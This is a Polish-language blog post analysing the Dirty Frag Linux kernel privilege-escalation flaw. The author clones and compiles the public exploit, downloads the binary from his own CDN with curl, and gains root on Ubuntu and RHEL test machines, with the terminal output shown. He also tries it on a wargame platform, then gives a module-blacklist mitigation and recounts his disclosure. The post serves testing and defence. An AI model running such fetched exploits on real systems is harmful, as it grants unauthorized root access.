Dirty Frag: Od analizy podatności typu 0-day do mitygacji na produkcji

8 maja 2026

Analiza exploita Dirty Frag, wdrożenie mitygacji i zgłoszenie podatności administratorowi platformy Breachlab.org.

Obecny status

  • Status na dzień 10.05.2026: Oficjalne patche zostały wydane w mainline kernel-a; brak aktualizacji w oficjalnych repozytoriach.

  • Status na dzień 08.05.2026: Systemy pozostają podatne w domyślnych konfiguracjach.
    Doszło do przedwczesnego ujawnienia szczegółów exploita na liście mailingowej linux-distros - pełna treść exploita została upubliczniona, zanim dostawcy tacy jak Canonical czy Red Hat wydali oficjalne patche bezpieczeństwa.

    • CVE-2026-43284: Dostępny patch w mainline (f4c50a4034e6).
    • CVE-2026-43500: Zarezerwowane, brak patcha w jakimkolwiek branchu kernela.

Treści zawarte w tym artykule mają charakter wyłącznie edukacyjny. Autor nie ponosi odpowiedzialności za niewłaściwe wykorzystanie przedstawionych informacji.

Wstęp

Dirty Frag (CVE-2026-43284, CVE-2026-43500) to bezpośredni następca podatności Dirty Pipe (CVE-2022-0847) oraz niedawnego Copy Fail (CVE-2026-31431).

Podatność Dirty Frag została odkryta przez badacza o nicku V4bel. Jest to podatność typu Local Privilege Escalation (LPE). Jest ona szczególnie niebezpieczna, ponieważ w przeciwieństwie do wielu współczesnych exploitów nie polega ona na niestabilnych wyścigach (Race Condition), czy manipulacji pamięcią (Memory Corruption), co przekłada się na niemal 100% skuteczność na podatnych systemach!

Dirty Frag to błąd logiczny w podsystemie sieciowym. Wykorzystuje on mechanizm skb_shared_info, aby oszukać kernel i uzyskać uprawnienia do zapisu bezpośrednio w Page Cache. Dzięki temu atakujący może nadpisać dowolny plik na dysku, np. /etc/shadow.

Źródło informacji

O istnieniu Dirty Frag dowiedziałem się z oficjalnego mailingu CERT Polska:

Biorąc pod uwagę charakter podatności i brak dostępnych patchy, przystąpiłem do weryfikacji podatności na systemach, którymi zarządzam oraz tych, z których korzystam.

Analiza działania podatności

W celu analizy działania podatności Dirty Frag użyłem 2 wirtualnych maszyn:

  • Ubuntu 24.04 LTS, kernel: 6.8.0-111-generic
  • RHEL 10.1, kernel: 6.12.0-124.8.1.el10_1.x86_64

Rozpocząłem od sklonowania repozytorium i skompilowania binarki exp:

kmichalowski@dirtyfrag:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 46 (delta 5), reused 4 (delta 4), pack-reused 34 (from 1)
Receiving objects: 100% (46/46), 5.83 MiB | 16.58 MiB/s, done.
Resolving deltas: 100% (15/15), done.
kmichalowski@dirtyfrag:~/dirtyfrag$ ll
total 156
drwxrwxr-x 4 kmichalowski kmichalowski  4096 May  8 21:07 ./
drwxr-x--- 5 kmichalowski kmichalowski  4096 May  8 21:07 ../
drwxrwxr-x 2 kmichalowski kmichalowski  4096 May  8 21:07 assets/
-rwxrwxr-x 1 kmichalowski kmichalowski 62320 May  8 21:07 exp*
-rw-rw-r-- 1 kmichalowski kmichalowski 67803 May  8 21:07 exp.c
drwxrwxr-x 8 kmichalowski kmichalowski  4096 May  8 21:07 .git/
-rw-rw-r-- 1 kmichalowski kmichalowski  4995 May  8 21:07 README.md
kmichalowski@dirtyfrag:~/dirtyfrag$

Skompilowany plik binarny exp umieściłem na własnym serwerze CDN, co pozwoliło mi na jego szybką dystrybucję i testy na kolejnych maszynach.

Następnie przystąpiłem już do właściwego exploitowania systemu. Początkowo przetestowałem Ubuntu:

kmichalowski@dirtyfrag:~$ mkdir dirtyfrag && cd dirtyfrag
kmichalowski@dirtyfrag:~/dirtyfrag$ curl -O https://cdn.kubamichalowski.pl/share/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 62320  100 62320    0     0   680k      0 --:--:-- --:--:-- --:--:--  676k
kmichalowski@dirtyfrag:~/dirtyfrag$ ll
total 72
drwxrwxr-x 2 kmichalowski kmichalowski  4096 May  8 21:12 ./
drwxr-x--- 5 kmichalowski kmichalowski  4096 May  8 21:12 ../
-rw-rw-r-- 1 kmichalowski kmichalowski 62320 May  8 21:12 exp
kmichalowski@dirtyfrag:~/dirtyfrag$ chmod +x exp
kmichalowski@dirtyfrag:~/dirtyfrag$ ./exp
root@dirtyfrag:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dirtyfrag:~#

Po kilku sekundach miałem pełny dostęp do konta root.

Dla pewności sprawdziłem również czy exploit działa na RHEL-u:

[kmichalowski@localhost ~]$ mkdir dirtyfrag && cd dirtyfrag
[kmichalowski@localhost dirtyfrag]$ curl -O https://cdn.kubamichalowski.pl/share/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 62320  100 62320    0     0  1030k      0 --:--:-- --:--:-- --:--:-- 1049k
[kmichalowski@localhost dirtyfrag]$ ll
total 64
-rw-r--r--. 1 kmichalowski kmichalowski 62320 May  8 23:15 exp
[kmichalowski@localhost dirtyfrag]$ chmod +x exp
[kmichalowski@localhost dirtyfrag]$ ./exp
[root@localhost dirtyfrag]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost dirtyfrag]#

W tym przypadku trzeba było poczekać trochę dłużej, ale po chwili również uzyskałem pełny dostęp do konta root.

Sprawdziłem również system platformy Breachlab.org:

ghost0@breachlab:~$ mkdir dirtyfrag && cd dirtyfrag
ghost0@breachlab:~/dirtyfrag$ curl -O https://cdn.kubamichalowski.pl/share/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 62320  100 62320    0     0   206k      0 --:--:-- --:--:-- --:--:--  207k
ghost0@breachlab:~/dirtyfrag$ ll
total 76
drwxrwxr-x 2 ghost0 ghost0  4096 May  8 21:18 ./
drwx------ 1 ghost0 ghost0  4096 May  8 21:18 ../
-rw-rw-r-- 1 ghost0 ghost0 62320 May  8 21:18 exp
ghost0@breachlab:~/dirtyfrag$ chmod +x exp
ghost0@breachlab:~/dirtyfrag$ ./exp
dirtyfrag: failed (rc=3)
ghost0@breachlab:~/dirtyfrag$ systemd-detect-virt
Docker
ghost0@breachlab:~/dirtyfrag$

Jednak w tym przypadku exploit nie zadziałał, ponieważ systemy w tym wargame są kontenerami Docker-a.

Ciekawostka

W systemie RHEL exploit tak wyczyścił zmienną $PATH, że komenda reboot (która jest aliasem do systemctl reboot) nie zadziałała.

[root@localhost dirtyfrag]# reboot
bash: reboot: command not found
[root@localhost dirtyfrag]# systemctl reboot
 
Broadcast message from root@localhost on pts/1 (Fri 2026-05-08 23:53:57 CEST):
 
The system will reboot now!

Mitygacja

Na chwilę obecną oficjalne repozytoria dystrybucji nie dostarczyły jeszcze załatanych wersji kernel-a, więc jedyną skuteczną metodą ochrony jest wyłączenie podatnych modułów kernel-a (esp4, esp6, rxrpc).
Zgodnie z oficjalnymi zaleceniami, w celu zablokowania podatnych modułów, wykonałem poniższą komendę:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Stworzyło to plik /etc/modprobe.d/dirtyfrag.conf, który blokuje wczytywanie podatnych modułów:

/etc/modprobe.d/dirtyfrag.conf
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false

Raport do Breachlab.org

Chwilę po potwierdzeniu skuteczności działania exploita na maszynach testowych zgłosiłem podatność właścicielowi platformy Breachlab.org. Zwróciłem uwagę na fakt, że choć exploit nie zadziałał bezpośrednio wewnątrz kontenerów, na których opierają się zadania, to sam system hosta mógł być podatny.

Przebieg zdarzeń

  1. 22:46 - Otrzymanie maila od zespołu CERT Polska.
  2. Około 23 - Odczytanie maila i rozpoczęcie analizy.
  3. 23:16 - Początkowe zgłoszenie podatności z gotowym plikiem exp do reprodukcji.
  4. 23:33 - Doprecyzowanie prawdopodobnego powodu, dlaczego exploit nie zadziałał.
  5. 23:47 - Potwierdzenie skuteczności mitygacji:
kmichalowski@dirtyfrag:~/dirtyfrag$ ./exp
dirtyfrag: failed (rc=1)
  1. 00:37 - Potwierdzenie istnienia podatności i moich przypuszczeń z konteneryzacją przez administratora.
  2. 02:43 – Wdrożenie sugerowanej mitygacji na infrastrukturze produkcyjnej przez administratora.

Dzięki mojej szybkiej reakcji i dostarczeniu gotowego rozwiązania platforma została zabezpieczona przed oficjalnym wydaniem patchy.

Mój wkład został doceniony wpisem do Hall of Fame, a zgłoszenie otrzymało status Severity: HIGH:

Podsumowanie

Historia związana z exploitem Dirty Frag uczy nas kilku ważnych lekcji:

  1. Defense in Depth to podstawa: Moje testy na maszynach Breachlab.org pokazały, że poprawna izolacja kontenerowa potrafi powstrzymać nawet tak stabilne exploity.
  2. Czas reakcji jest krytyczny: W świecie 0-dayów, gdzie oficjalne patche mogą pojawić się z kilkudniowym opóźnieniem, umiejętność samodzielnej analizy i wdrożenia mitygacji typu stopgap jest krytyczna dla bezpieczeństwa infrastruktury.
  3. Responsible Disclosure: Szybki kontakt z administratorami i dostarczenie gotowej mitygacji to fundament etycznego hackingu, który realnie podnosi bezpieczeństwo ekosystemu.